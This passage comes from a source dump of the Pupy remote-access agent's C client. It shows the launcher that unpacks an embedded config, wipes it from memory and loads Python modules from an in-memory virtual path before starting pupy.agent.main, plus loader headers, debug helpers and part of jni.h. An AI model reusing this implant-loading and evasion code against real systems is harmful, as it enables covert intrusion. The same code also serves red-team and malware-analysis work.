            "py_module_from_library(%s, %d) -> %s -> Invalid type?\n",
            name, is_init, path_name
        );

    goto lbFreeVpath;
    }

    dprint(
        "py_module_from_library(%s, %d) -> %s (%p) -> bytecode=%p size=%d\n",
        name, is_init, path_name, pybody,
        pybody_c_ptr, pybody_c_size
    );

    pybytecode = PyMarshal_ReadObjectFromString(
        pybody_c_ptr + 8, pybody_c_size - 8
    );

    if (!pybytecode) {
        dprint(
            "py_module_from_library(%s, %d) -> %s -> Invalid type (marshall error)?\n",
            name, is_init, path_name
        );

        goto lbFreeVpath;
    }

    dprint(
        "py_module_from_library(%s, %d) -> %s (%p) -> bytecode=%p size=%d -> Unmarshalled -> %p\n",
        name, is_init, path_name, pybody,
        pybody_c_ptr, pybody_c_size,
        pybytecode
    );

    // It's worth to continue
    module = py_eval_package_init(name, pybytecode, vpath_name, path_name, is_init);
    if (!module) {
        dprint("py_module_from_library(%s, %d) -> Eval failed\n", name, is_init);
        PyErr_Print();
        goto lbFreePyBytecode;
    }

    dprint("py_module_from_library(%s, %d) -> %p\n", name, is_init, module);

    //TODO: fix that
    //PyDict_DelItemString(py_stdlib, path_name);

lbFreePyBytecode:
    Py_DecRef(pybytecode);

lbFreeVpath:
    OSFree(vpath_name);

    return module;

lbMemFailure1:
    return PyErr_NoMemory();
}


void py_clear_sys_list(const char *name)
{
    PyObject *list_obj;
    Py_ssize_t list_len;

    list_obj = PySys_GetObject(name);
    if (!list_obj) {
        dprint("sys.%s not found\n", name);
        PyErr_Clear();
        return;
    }

    list_len = PyList_Size(list_obj);
    if (list_len < 0) {
        dprint("sys.%s is not list\n", name);
        PyErr_Clear();
        return;
    }

    if (PyList_SetSlice(list_obj, 0, list_len, NULL) < 0) {
        dprint("sys.%s - failed to clear\n", name);
        PyErr_Clear();
        return;
    }

    dprint("sys.%s - cleared\n", name);
}


void py_clear_sys_dict(const char *name)
{
    PyObject *dict_obj;

    dict_obj = PySys_GetObject(name);
    if (!dict_obj) {
        dprint("sys.%s not found\n", name);
        PyErr_Clear();
        return;
    }

    PyDict_Clear(dict_obj);
    if (PyErr_Occurred()) {
        dprint("sys.%s - failed to clear\n", name);
        PyErr_Clear();
        return;
    }

    dprint("sys.%s - cleared\n", name);
}


void run_pupy() {
    union {
        unsigned int l;
        unsigned char c[4];
    } len;

    PyObject *pupy;

    PyObject *py_config_list;
    PyObject *py_pupylib;
    PyObject *pupy_dict;
    PyObject *py_debug;
    PyObject *py_main;
    PyObject *py_eval_result;
    PyObject *py_config = NULL;

	PyObject *py_stdlib = load_stdlib();
    const char **preload_module = NULL;
    PyObject *py_stdlib_keys;
    PyObject *py_stdlib_keys_iter;
    PyObject *py_stdlib_keys_item;
    PyStatus status;


    PySys_SetObject("frozen", PyBool_FromLong(1));

    
    
    dprint("Load config\n");
    dprint("config:");
    int i;
    for (i=0; i<5; i++) {
        dprint("%x", __config__[i]);
    }
    len.c[3] = __config__[0];
    len.c[2] = __config__[1];
    len.c[1] = __config__[2];
    len.c[0] = __config__[3];
    dprint("\n");

    if (len.l == 0x23232323) {
        dprint("Config not found\n");
        goto lbExit1;
    }

    dprint("Config size: %d\n", len.l);

    py_config_list = PyObject_lzmaunpack(__config__+4, len.l);
    if (!py_config_list) {
        dprint("Config unpack failed\n");
        PyErr_Print();
        goto lbExit1;
    }

    dprint("Config parcel unpacked: %p\n", py_config_list);
    dprint("Cleanup config\n");
    memset(__config__, 0xFF, len.l + 4);

    dprint("Unmap config");
    OSUnmapRegion(__config__, len.l);

    py_config = PyList_GetItem(py_config_list, 0);
    dprint("Get config: %p\n", py_config);

    py_pupylib = PyList_GetItem(py_config_list, 1);
    dprint("Get pupy: %p\n", py_pupylib);

    dprint("Update stdlib\n");
    PyDict_Update(py_stdlib, py_pupylib);
    Py_IncRef(py_config);

    
    for (preload_module=preload_modules; *preload_module; preload_module ++) {
        if (!py_module_from_stdlib(py_stdlib, *preload_module, 0))
            goto lbExit4;
    }

    // the order of loading matters here
    //
    if (!py_module_from_stdlib(py_stdlib, "keyword", 0))
        goto lbExit4;
    if (!py_module_from_stdlib(py_stdlib, "operator", 0))
        goto lbExit4;
    if (!py_module_from_stdlib(py_stdlib, "reprlib", 0))
        goto lbExit4;
    
    if (!py_module_from_stdlib(py_stdlib, "_collections_abc", 0))
        goto lbExit4;
    
    if (!py_module_from_stdlib(py_stdlib, "collections.abc", 0))
        goto lbExit4;

    if (!py_module_from_stdlib(py_stdlib, "collections", 1)){
        goto lbExit4;
    }
    
    if (!py_module_from_stdlib(py_stdlib, "functools", 0))
        goto lbExit4;
    if (!py_module_from_stdlib(py_stdlib, "contextlib", 0))
        goto lbExit4;


    if (!py_module_from_stdlib(py_stdlib, ENCODINGS, 1))
        goto lbExit4;

    if (!py_module_from_stdlib(py_stdlib, "datetime", 0))
        goto lbExit4;
    if (!py_module_from_stdlib(py_stdlib, "io", 0))
        goto lbExit4;
    if (!py_module_from_stdlib(py_stdlib, "umsgpack", 0))
        goto lbExit4;
    if (!py_module_from_stdlib(py_stdlib, "copyreg", 0))
        goto lbExit4;
    if (!py_module_from_stdlib(py_stdlib, "enum", 0))
        goto lbExit4;
    if (!py_module_from_stdlib(py_stdlib, "re", 0))
        goto lbExit4;
    if (!py_module_from_stdlib(py_stdlib, "_compat_pickle", 0))
        goto lbExit4;
    if (!py_module_from_stdlib(py_stdlib, "pickle", 0))
        goto lbExit4;
    if (!py_module_from_stdlib(py_stdlib, "quopri", 0))
           goto lbExit4;

    if (!py_module_from_stdlib(py_stdlib, "importlib", 1))
        goto lbExit4;
    if (!py_module_from_stdlib(py_stdlib, "importlib._abc", 0))
        goto lbExit4;
    if (!py_module_from_stdlib(py_stdlib, "importlib.util", 0))
        goto lbExit4;
    //if (!py_module_from_stdlib(py_stdlib, "pupy.utils", 0))
    //    goto lbExit4;
    
    
    
    
    
    //if (!py_module_from_stdlib(py_stdlib, "stringprep", 0))
    //    goto lbExit4;
 //   if (!py_module_from_stdlib(py_stdlib, "io", 0))
 //       goto lbExit4;
  /*  if (!py_module_from_stdlib(py_stdlib, "re", 0))
        goto lbExit4;
    if (!py_module_from_stdlib(py_stdlib, "base64", 0))
        goto lbExit4;
    if (!py_module_from_stdlib(py_stdlib, "bz2", 0))
        goto lbExit4;
  */
		
		dprint("Preload encodings\n");
		
		py_stdlib_keys = PyDict_Keys(py_stdlib);
		if (!py_stdlib_keys)
			goto lbExit1;

		py_stdlib_keys_iter = PyObject_GetIter(py_stdlib_keys);
		if (!py_stdlib_keys_iter) {
			Py_DecRef(py_stdlib_keys);
			goto lbExit1;
		}

		while ((py_stdlib_keys_item = PyIter_Next(py_stdlib_keys_iter))) {
			char *filepath;
			Py_ssize_t filepath_len;
			filepath = PyUnicode_AsUTF8AndSize(py_stdlib_keys_item, &filepath_len);
			if (!filepath) {
				PyErr_Clear();
			} else if (strstr(filepath, ENCODINGS "/") == filepath &&
				strstr(filepath, ENCODINGS "/" VPATH_INIT_EXT) != filepath) {
				char *child = strdup(filepath);
				child[last_chr_offt(child, '.')] = '\0';
				child[sizeof(ENCODINGS) - 1] = '.';

				if (!py_module_from_stdlib(py_stdlib, child, 0)) {
					dprint("Load encoding: %s (%s): failed\n", child, filepath);
					PyErr_Clear();
				} else {
					dprint("Loaded encoding: %s\n", child);
				}

				free(child);
			}

			Py_DecRef(py_stdlib_keys_item);
		}
		Py_DecRef(py_stdlib_keys_iter);



    dprint("Calling _Py_InitializeMain() ...\n");
    status = _Py_InitializeMain();
 /*   if (PyStatus_Exception(status)) {
        dprint("Error calling _Py_InitializeMain\n");
        Py_ExitStatusException(status);
    }
   */ 
    dprint("Clean sys defaults\n");

    py_clear_sys_list("path");
    //py_clear_sys_list("meta_path");
    //py_clear_sys_list("path_hooks");
    
    //mandatory !!
    py_clear_sys_dict("path_importer_cache");
    
    /*
    res = PyRun_SimpleString(
        "import _pupy;"
        "print(_pupy, "
               "file=sys.stderr)");
    if (res < 0) {
        exit(1);
    }
    */

    dprint("Loading pupy\n");

    if (!py_module_from_stdlib(py_stdlib, "pupy", 1))
        goto lbExit4;
    //if (!py_module_from_stdlib(py_stdlib, "pupy.agent.winerror_hacks", 0))
    //    goto lbExit4;

    pupy = py_module_from_stdlib(py_stdlib, "pupy.agent", 1);
    if (!pupy)
        goto lbExit4;

    if (!py_module_from_stdlib(py_stdlib, "pupy.agent.utils", 0))
        goto lbExit4;


    pupy_dict = PyModule_GetDict(pupy);
    py_main = PyDict_GetItemString(pupy_dict, "main");

    if (!py_main) {
        dprint("pupy.agent.main not found\n");
        goto lbExit3;
    }

#ifdef DEBUG
    py_debug = PyBool_FromLong(1);
#else
    py_debug = PyBool_FromLong(0);
#endif

    dprint(
        "Call pupy.agent.main: %p(%p, %p, %p)\n",
        py_main, Py_None, py_debug, py_config
    );

    Py_IncRef(py_main);
    Py_IncRef(Py_None);
    Py_IncRef(py_debug);

    py_eval_result = PyObject_CallFunctionObjArgs(
        py_main, Py_None, py_debug, py_config, py_stdlib, NULL);

    if (!py_eval_result) {
        PyErr_Print();
    } else {
        Py_DecRef(py_eval_result);
    }

    Py_DecRef(py_main);
    Py_DecRef(Py_None);
    Py_DecRef(py_debug);

    dprint("Completed (py_eval_result: %p)\n", py_eval_result);

lbExit4:
    Py_DecRef(py_config);

lbExit3:
    Py_DecRef(py_config_list);

lbExit2:
    //Py_DecRef(py_stdlib);

lbExit1:
    dprint("Exit\n");
}

void deinitialize_python() {
    dprint("Deinitialize python\n");
    PyGILState_Release(restore_state);
    Py_Finalize();
}

int Py_RefCnt(const PyObject *object) {
    if (!object)
        return -1;

    return *((int *) object);
}


================================================
FILE: client/common/Python-dynload.h
================================================
/*
    WARNING !
    DEPENDS ON PYTHON ABI!
*/

#ifndef PYTHON_DYNLOAD_H
#define PYTHON_DYNLOAD_H

#include <stdint.h>
#include <string.h>
#include <sys/types.h>

#define CO_MAXBLOCKS 20

typedef void *PyObject;

typedef struct {
    int b_type;
    int b_handler;
    int b_level;
} PyTryBlock;

typedef PyObject *(*PyCFunction)(PyObject *, PyObject *);

typedef
    enum {PyGILState_LOCKED, PyGILState_UNLOCKED}
        PyGILState_STATE;
typedef struct {
    char *ml_name;
    PyCFunction ml_meth;
    int ml_flags;
    char *ml_doc;
} PyMethodDef;

struct py_imports {
    char *name;
    void (*proc)();
};

#ifdef _WIN64
    #define ssize_t signed long long
#else
    #define ssize_t signed long
#endif

#ifndef Py_ssize_t
    #define Py_ssize_t ssize_t
#endif

#ifndef BOOL
    typedef int BOOL;
    #define TRUE 1
    #define FALSE 0
#endif

#ifndef Py_INCREF
    #define Py_INCREF Py_IncRef
#endif

#ifndef Py_DECREF
    #define Py_DECREF Py_DecRef
#endif

#ifndef Py_XINCREF
    #define Py_XINCREF(op) do { if ((op) == NULL) ; else Py_INCREF(op); } while (0)
#endif

#ifndef Py_XDECREF
    #define Py_XDECREF(op) do { if ((op) == NULL) ; else Py_DECREF(op); } while (0)
#endif

#define METH_OLDARGS  0x0000
#define METH_VARARGS  0x0001
#define METH_KEYWORDS 0x0002
/* METH_NOARGS and METH_O must not be combined with the flags above. */
#define METH_NOARGS   0x0004
#define METH_O        0x0008

/* METH_CLASS and METH_STATIC are a little different; these control
   the construction of methods for a class.  These cannot be used for
   functions in modules. */
#define METH_CLASS    0x0010
#define METH_STATIC   0x0020

#define PyCFunction_New(ML, SELF) PyCFunction_NewEx((ML), (SELF), NULL)

#define PyInt_Check(op) PyObject_IsInstance(op, &PyInt_Type)
#define PyUnicode_Check(op) PyObject_IsInstance(op, &PyUnicode_Type)
#define PyString_Check(op) PyObject_IsInstance(op, &PyString_Type)

#define Py_None (&_Py_NoneStruct)

#define DL_EXPORT(x) x

#define PYTHON_API_VERSION 1013


int Py_RefCnt(const PyObject *object);

extern struct py_imports py_sym_table[];

BOOL initialize_python(int argc, char *argv[], BOOL is_shared_object);
void run_pupy(void);
void deinitialize_python(void);

#define VPATH_PREFIX "pupy://"
#define VPATH_EXT ".pyo"
#define VPATH_INIT_EXT "/__init__" VPATH_EXT

#define ENCODINGS "encodings"


typedef struct {
    Py_ssize_t ob_refcnt;
    struct _typeobject *ob_type;

    int co_argcount;
    int co_nlocals;
    int co_stacksize;
    int co_flags;

    PyObject *co_code;
    PyObject *co_consts;
    PyObject *co_names;
    PyObject *co_varnames;
    PyObject *co_freevars;
    PyObject *co_cellvars;
    PyObject *co_filename;
    PyObject *co_name;
    int co_firstlineno;
    PyObject *co_lnotab;
    void *co_zombieframe;
    PyObject *co_weakreflist;
} PyCodeObject;

typedef struct _is {

    struct _is *next;
    struct _ts *tstate_head;

    PyObject *modules;
    PyObject *sysdict;
    PyObject *builtins;
    PyObject *modules_reloading;

    PyObject *codec_search_path;
    PyObject *codec_search_cache;
    PyObject *codec_error_registry;

    /* PRIVATE PART OMITTED */

} PyInterpreterState;

struct _frame;

typedef struct _ts {
    struct _ts *next;
    PyInterpreterState *interp;
    struct _frame *frame;

    int recursion_depth;
    int tracing;
    int use_tracing;

    void *c_profilefunc;
    void *c_tracefunc;

    PyObject *c_profileobj;
    PyObject *c_traceobj;

    PyObject *curexc_type;
    PyObject *curexc_value;
    PyObject *curexc_traceback;

    PyObject *exc_type;
    PyObject *exc_value;
    PyObject *exc_traceback;

    PyObject *dict;

    int tick_counter;
    int gilstate_counter;

    PyObject *async_exc;
    long thread_id;

    int trash_delete_nesting;
    PyObject *trash_delete_later;
} PyThreadState;

typedef struct _frame {
    Py_ssize_t ob_refcnt;
    struct _typeobject *ob_type;
    Py_ssize_t ob_size;

    struct _frame *f_back;
    PyCodeObject *f_code;
    PyObject *f_builtins;
    PyObject *f_globals;
    PyObject *f_locals;
    PyObject **f_valuestack;
    PyObject **f_stacktop;
    PyObject *f_trace;

    PyObject *f_exc_type, *f_exc_value, *f_exc_traceback;

    PyThreadState *f_tstate;
    int f_lasti;
    int f_lineno;
    int f_iblock;

    /* PRIVATE */
} PyFrameObject;

#include "import-tab.h"

#endif // PYTHON_DYNLOAD_H


================================================
FILE: client/common/Python-stacktrace.c
================================================
#include "debug.h"
#include "Python-dynload-os.h"
#include "Python-dynload.h"

typedef void (*Py_GetStackTraceCb_t) (const char *line, void *cbdata);
typedef int (*Py_IsInitialized_t)(void);
typedef int (*PyEval_ThreadsInitialized_t)(void);
typedef PyGILState_STATE (*PyGILState_Ensure_t)(void);
typedef void (*PyGILState_Release_t)(PyGILState_STATE);
typedef PyThreadState* (*PyGILState_GetThisThreadState_t)(void);
typedef int (*PyCode_Addr2Line_t)(PyCodeObject *, int);

static
int Py_GetCurrentThreadStackTrace(Py_GetStackTraceCb_t cb, void *cbdata) {
    Py_IsInitialized_t pIsInitialized = NULL;
    PyEval_ThreadsInitialized_t pThreadsInitialized = NULL;
    PyGILState_Ensure_t pGILState_Ensure = NULL;
    PyGILState_Release_t pGILState_Release = NULL;
    PyGILState_GetThisThreadState_t pGILState_GetThisThreadState = NULL;
    PyCode_Addr2Line_t pCode_Addr2Line = NULL;

    PyGILState_STATE GIL_state;
    PyThreadState* Current_Thread_state;
    PyThreadState* Thread_state;
    BOOL blCurrentThreadDumped = FALSE;
    DWORD dwDumpedThreadsCount = 0;

    HMODULE hPythonLib = CheckLibraryLoaded(PYTHON_LIB_NAME);
    if (!hPythonLib) {
        dprint(
            "Py_GetCurrentThreadStackTrace: python lib (\"%s\") not found\n",
            PYTHON_LIB_NAME
        );
        return -1;
    }

    pIsInitialized = (Py_IsInitialized_t) MemResolveSymbol(
      hPythonLib, "Py_IsInitialized");
    pThreadsInitialized = (PyEval_ThreadsInitialized_t) MemResolveSymbol(
      hPythonLib, "PyEval_ThreadsInitialized");
    pGILState_Ensure = (PyGILState_Ensure_t) MemResolveSymbol(
      hPythonLib, "PyGILState_Ensure");
    pGILState_Release = (PyGILState_Release_t) MemResolveSymbol(
      hPythonLib, "PyGILState_Release");
    pGILState_GetThisThreadState = (PyGILState_GetThisThreadState_t) MemResolveSymbol(
      hPythonLib, "PyGILState_GetThisThreadState");
    pCode_Addr2Line = (PyCode_Addr2Line_t) MemResolveSymbol(
      hPythonLib, "PyCode_Addr2Line");

    if (!(pIsInitialized && pThreadsInitialized && pGILState_Ensure &&
            pGILState_Release && pGILState_GetThisThreadState && pCode_Addr2Line))
    {
        dprint(
            "Py_GetCurrentThreadStackTrace: Not all functions found\n"
        );
        return -2;
    }

    if (!pIsInitialized()) {
        dprint(
            "Py_GetCurrentThreadStackTrace: Python is not initialized\n"
        );
        return -3;
    }

    if (!pThreadsInitialized()) {
        dprint(
            "Py_GetCurrentThreadStackTrace: Python threads are not initialized\n"
        );

        return -4;
    }

    Current_Thread_state = pGILState_GetThisThreadState();
    if (!Current_Thread_state) {
        dprint(
            "Py_GetCurrentThreadStackTrace: Thread state is NULL\n"
        );

        return -5;
    }

    dprint("Py_GetCurrentThreadStackTrace: start\n");
    GIL_state = pGILState_Ensure();

    Thread_state = Current_Thread_state;

    while (Thread_state && dwDumpedThreadsCount ++ < 256) {
        if (Thread_state == Current_Thread_state) {
            if (blCurrentThreadDumped) {
                dprint("Current thread was already dumped\n");
                Thread_state = Thread_state->next;
                continue;
            } else {
                dprint("Dumping current thread first time\n");
                cb(cbdata, "Current Thread", NULL, Thread_state->thread_id);
            }
        } else {
            cb(cbdata, "Thread", NULL, Thread_state->thread_id);
        }

        if (Thread_state->frame) {
            PyFrameObject *frame = Thread_state->frame;

            dprint(
                "Py_GetCurrentThreadStackTrace: parse %p (Thread ID: %d)\n",
                frame, Thread_state->thread_id
            );

            dprint(
                "Py_GetCurrentThreadStackTrace: Top frame object: %p size=%d refs=%d\n",
                frame, frame->ob_size, frame->ob_refcnt
            );

            dprint(
                "Py_GetCurrentThreadStackTrace: Top frame code object: %p refs=%d\n",
                frame->f_code, frame->f_code->ob_refcnt
            );

            dprint(
                "Py_GetCurrentThreadStackTrace: Top frame code object: function=%s, file=%s\n",
                frame->f_code->co_name, frame->f_code->co_filename
            );

            while (frame) {
                int line = pCode_Addr2Line(frame->f_code, frame->f_lasti);
                const char *funcname = PyBytes_AsString(frame->f_code->co_name);
                const char *filename = PyBytes_AsString(frame->f_code->co_filename);

                dprint(
                    "Py_GetCurrentThreadStackTrace: func=%s file=%s line=%d\n",
                    funcname, filename, line
                );

                cb(cbdata, funcname, filename, line);

                frame = frame->f_back;
            }
        }

        if (Thread_state == Current_Thread_state) {
            dprint("Switching to all threads\n");
            Thread_state = Current_Thread_state->interp->tstate_head;
            blCurrentThreadDumped = TRUE;
        } else {
            dprint("Continue to dump all threads\n");
            Thread_state = Thread_state->next;
        }
    }

    pGILState_Release(GIL_state);
    dprint("Py_GetCurrentThreadStackTrace: complete\n");
    return 0;
}


================================================
FILE: client/common/Python-stacktrace.h
================================================
#ifndef PYTHON_STACKTRACE_H
#define PYTHON_STACKTRACE_H

typedef void (*Py_GetStackTraceCb_t)(
    void *cbdata, const char *function, const char *file, unsigned int line
);

static  int Py_GetCurrentThreadStackTrace(Py_GetStackTraceCb_t cb, void *cbdata);

#endif



================================================
FILE: client/common/debug.c
================================================
#include "debug.h"

static FILE* debug_log = NULL;

int dprint(const char *fmt, ...) {
    va_list args;
    int n;
    FILE *log = stdout;

    if (debug_log != NULL)
        log = debug_log;

    va_start (args, fmt);
    n = vfprintf(log, fmt, args);
    va_end (args);
    fflush(log);
    return n;
}

#ifdef _WIN32
int dwprint(const wchar_t *fmt, ...) {
    va_list args;
    int n;
    FILE *log = stdout;

    if (debug_log != NULL)
        log = debug_log;

    va_start (args, fmt);
    n = vfwprintf(log, fmt, args);
    va_end (args);
    fflush(log);
    return n;
}
#endif

void set_debug_log(const char *dest) {
    FILE * new_debug_log = fopen(dest, "w+");
    FILE * old_debug_log = debug_log;
    if (!new_debug_log) {
        dprint("Failed to open new debug log dest: %s\n", dest);
        return;
    }

    dprint("Redirecting debug log to %s\n", dest);

    debug_log = new_debug_log;

    if (old_debug_log)
        fclose(old_debug_log);
}


================================================
FILE: client/common/debug.h
================================================
#ifndef __DEBUG_H
#define __DEBUG_H

#include <stdio.h>
#include <stdarg.h>

#ifdef DEBUG

int dprint(const char *fmt, ...);
#ifdef _WIN32
int dwprint(const wchar_t *fmt, ...);
#endif

void set_debug_log(const char *dest);


#define DOC(x) x

#else
#define DOC(x) ""

#define dprint(...)	do {} while (0)
#define dwprint(...)	do {} while (0)//

#endif

#endif /* __DEBUG_H */


================================================
FILE: client/common/jni.h
================================================
/*
 * Copyright (c) 1996, 2013, Oracle and/or its affiliates. All rights reserved.
 * DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
 *
 * This code is free software; you can redistribute it and/or modify it
 * under the terms of the GNU General Public License version 2 only, as
 * published by the Free Software Foundation.  Oracle designates this
 * particular file as subject to the "Classpath" exception as provided
 * by Oracle in the LICENSE file that accompanied this code.
 *
 * This code is distributed in the hope that it will be useful, but WITHOUT
 * ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
 * FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License
 * version 2 for more details (a copy is included in the LICENSE file that
 * accompanied this code).
 *
 * You should have received a copy of the GNU General Public License version
 * 2 along with this work; if not, write to the Free Software Foundation,
 * Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
 *
 * Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
 * or visit www.oracle.com if you need additional information or have any
 * questions.
 */

/*
 * We used part of Netscape's Java Runtime Interface (JRI) as the starting
 * point of our design and implementation.
 */

/******************************************************************************
 * Java Runtime Interface
 * Copyright (c) 1996 Netscape Communications Corporation. All rights reserved.
 *****************************************************************************/

#ifndef _JAVASOFT_JNI_H_
#define _JAVASOFT_JNI_H_

#include <stdio.h>
#include <stdarg.h>

/* jni_md.h contains the machine-dependent typedefs for jbyte, jint
   and jlong */

#include "jni_md.h"

#ifdef __cplusplus
extern "C" {
#endif

/*
 * JNI Types
 */

#ifndef JNI_TYPES_ALREADY_DEFINED_IN_JNI_MD_H

typedef unsigned char   jboolean;
typedef unsigned short  jchar;
typedef short           jshort;
typedef float           jfloat;
typedef double          jdouble;

typedef jint            jsize;

#ifdef __cplusplus

class _jobject {};
class _jclass : public _jobject {};
class _jthrowable : public _jobject {};
class _jstring : public _jobject {};
class _jarray : public _jobject {};
class _jbooleanArray : public _jarray {};
class _jbyteArray : public _jarray {};
class _jcharArray : public _jarray {};
class _jshortArray : public _jarray {};
class _jintArray : public _jarray {};
class _jlongArray : public _jarray {};
class _jfloatArray : public _jarray {};
class _jdoubleArray : public _jarray {};
class _jobjectArray : public _jarray {};

typedef _jobject *jobject;
typedef _jclass *jclass;
typedef _jthrowable *jthrowable;
typedef _jstring *jstring;
typedef _jarray *jarray;
typedef _jbooleanArray *jbooleanArray;
typedef _jbyteArray *jbyteArray;
typedef _jcharArray *jcharArray;
typedef _jshortArray *jshortArray;
typedef _jintArray *jintArray;
typedef _jlongArray *jlongArray;
typedef _jfloatArray *jfloatArray;
typedef _jdoubleArray *jdoubleArray;
typedef _jobjectArray *jobjectArray;

#else

struct _jobject;

typedef struct _jobject *jobject;
typedef jobject jclass;
typedef jobject jthrowable;
typedef jobject jstring;
typedef jobject jarray;
typedef jarray jbooleanArray;
typedef jarray jbyteArray;
typedef jarray jcharArray;
typedef jarray jshortArray;
typedef jarray jintArray;
typedef jarray jlongArray;
typedef jarray jfloatArray;
typedef jarray jdoubleArray;
typedef jarray jobjectArray;

#endif

typedef jobject jweak;

typedef union jvalue {
    jboolean z;
    jbyte    b;
    jchar    c;
    jshort   s;
    jint     i;
    jlong    j;
    jfloat   f;
    jdouble  d;
    jobject  l;
} jvalue;

struct _jfieldID;
typedef struct _jfieldID *jfieldID;

struct _jmethodID;
typedef struct _jmethodID *jmethodID;

/* Return values from jobjectRefType */
typedef enum _jobjectType {
     JNIInvalidRefType    = 0,
     JNILocalRefType      = 1,
     JNIGlobalRefType     = 2,
     JNIWeakGlobalRefType = 3
} jobjectRefType;


#endif /* JNI_TYPES_ALREADY_DEFINED_IN_JNI_MD_H */

/*
 * jboolean constants
 */

#define JNI_FALSE 0
#define JNI_TRUE 1

/*
 * possible return values for JNI functions.
 */

#define JNI_OK           0                 /* success */
#define JNI_ERR          (-1)              /* unknown error */
#define JNI_EDETACHED    (-2)              /* thread detached from the VM */
#define JNI_EVERSION     (-3)              /* JNI version error */
#define JNI_ENOMEM       (-4)              /* not enough memory */
#define JNI_EEXIST       (-5)              /* VM already created */
#define JNI_EINVAL       (-6)              /* invalid arguments */

/*
 * used in ReleaseScalarArrayElements
 */

#define JNI_COMMIT 1
#define JNI_ABORT 2

/*
 * used in RegisterNatives to describe native method name, signature,
 * and function pointer.
 */

typedef struct {
    char *name;
    char *signature;
    void *fnPtr;
} JNINativeMethod;

/*
 * JNI Native Method Interface.
 */

struct JNINativeInterface_;

struct JNIEnv_;

#ifdef __cplusplus
typedef JNIEnv_ JNIEnv;
#else
typedef const struct JNINativeInterface_ *JNIEnv;
#endif

/*
 * JNI Invocation Interface.
 */

struct JNIInvokeInterface_;

struct JavaVM_;

#ifdef __cplusplus
typedef JavaVM_ JavaVM;
#else
typedef const struct JNIInvokeInterface_ *JavaVM;
#endif

struct JNINativeInterface_ {
    void *reserved0;
    void *reserved1;
    void *reserved2;

    void *reserved3;
    jint (JNICALL *GetVersion)(JNIEnv *env);

    jclass (JNICALL *DefineClass)
      (JNIEnv *env, const char *name, jobject loader, const jbyte *buf,
       jsize len);
    jclass (JNICALL *FindClass)
      (JNIEnv *env, const char *name);

    jmethodID (JNICALL *FromReflectedMethod)
      (JNIEnv *env, jobject method);
    jfieldID (JNICALL *FromReflectedField)
      (JNIEnv *env, jobject field);

    jobject (JNICALL *ToReflectedMethod)
      (JNIEnv *env, jclass cls, jmethodID methodID, jboolean isStatic);

    jclass (JNICALL *GetSuperclass)
      (JNIEnv *env, jclass sub);
    jboolean (JNICALL *IsAssignableFrom)
      (JNIEnv *env, jclass sub, jclass sup);

    jobject (JNICALL *ToReflectedField)
      (JNIEnv *env, jclass cls, jfieldID fieldID, jboolean isStatic);

    jint (JNICALL *Throw)
      (JNIEnv *env, jthrowable obj);
    jint (JNICALL *ThrowNew)
      (JNIEnv *env, jclass clazz, const char *msg);
    jthrowable (JNICALL *ExceptionOccurred)
      (JNIEnv *env);
    void (JNICALL *ExceptionDescribe)
      (JNIEnv *env);
    void (JNICALL *ExceptionClear)
      (JNIEnv *env);
    void (JNICALL *FatalError)
      (JNIEnv *env, const char *msg);

    jint (JNICALL *PushLocalFrame)
      (JNIEnv *env, jint capacity);
    jobject (JNICALL *PopLocalFrame)
      (JNIEnv *env, jobject result);

    jobject (JNICALL *NewGlobalRef)
      (JNIEnv *env, jobject lobj);
    void (JNICALL *DeleteGlobalRef)
      (JNIEnv *env, jobject gref);
    void (JNICALL *DeleteLocalRef)
      (JNIEnv *env, jobject obj);
    jboolean (JNICALL *IsSameObject)
      (JNIEnv *env, jobject obj1, jobject obj2);
    jobject (JNICALL *NewLocalRef)
      (JNIEnv *env, jobject ref);
    jint (JNICALL *EnsureLocalCapacity)
      (JNIEnv *env, jint capacity);

    jobject (JNICALL *AllocObject)
      (JNIEnv *env, jclass clazz);
    jobject (JNICALL *NewObject)
      (JNIEnv *env, jclass clazz, jmethodID methodID, ...);
    jobject (JNICALL *NewObjectV)
      (JNIEnv *env, jclass clazz, jmethodID methodID, va_list args);
    jobject (JNICALL *NewObjectA)
      (JNIEnv *env, jclass clazz, jmethodID methodID, const jvalue *args);

    jclass (JNICALL *GetObjectClass)
      (JNIEnv *env, jobject obj);
    jboolean (JNICALL *IsInstanceOf)
      (JNIEnv *env, jobject obj, jclass clazz);

    jmethodID (JNICALL *GetMethodID)
      (JNIEnv *env, jclass clazz, const char *name, const char *sig);

    jobject (JNICALL *CallObjectMethod)
      (JNIEnv *env, jobject obj, jmethodID methodID, ...);
    jobject (JNICALL *CallObjectMethodV)
      (JNIEnv *env, jobject obj, jmethodID methodID, va_list args);
    jobject (JNICALL *CallObjectMethodA)
      (JNIEnv *env, jobject obj, jmethodID methodID, const jvalue * args);

    jboolean (JNICALL *CallBooleanMethod)
      (JNIEnv *env, jobject obj, jmethodID methodID, ...);
    jboolean (JNICALL *CallBooleanMethodV)
      (JNIEnv *env, jobject obj, jmethodID methodID, va_list args);
    jboolean (JNICALL *CallBooleanMethodA)
      (JNIEnv *env, jobject obj, jmethodID methodID, const jvalue * args);

    jbyte (JNICALL *CallByteMethod)
      (JNIEnv *env, jobject obj, jmethodID methodID, ...);
    jbyte (JNICALL *CallByteMethodV)
      (JNIEnv *env, jobject obj, jmethodID methodID, va_list args);
    jbyte (JNICALL *CallByteMethodA)
      (JNIEnv *env, jobject obj, jmethodID methodID, const jvalue *args);

    jchar (JNICALL *CallCharMethod)
      (JNIEnv *env, jobject obj, jmethodID methodID, ...);
    jchar (JNICALL *CallCharMethodV)
      (JNIEnv *env, jobject obj, jmethodID methodID, va_list args);
    jchar (JNICALL *CallCharMethodA)
      (JNIEnv *env, jobject obj, jmethodID methodID, const jvalue *args);

    jshort (JNICALL *CallShortMethod)
      (JNIEnv *env, jobject obj, jmethodID methodID, ...);
    jshort (JNICALL *CallShortMethodV)
      (JNIEnv *env, jobject obj, jmethodID methodID, va_list args);
    jshort (JNICALL *CallShortMethodA)
      (JNIEnv *env, jobject obj, jmethodID methodID, const jvalue *args);

    jint (JNICALL *CallIntMethod)
      (JNIEnv *env, jobject obj, jmethodID methodID, ...);
    jint (JNICALL *CallIntMethodV)
      (JNIEnv *env, jobject obj, jmethodID methodID, va_list args);
    jint (JNICALL *CallIntMethodA)
      (JNIEnv *env, jobject obj, jmethodID methodID, const jvalue *args);

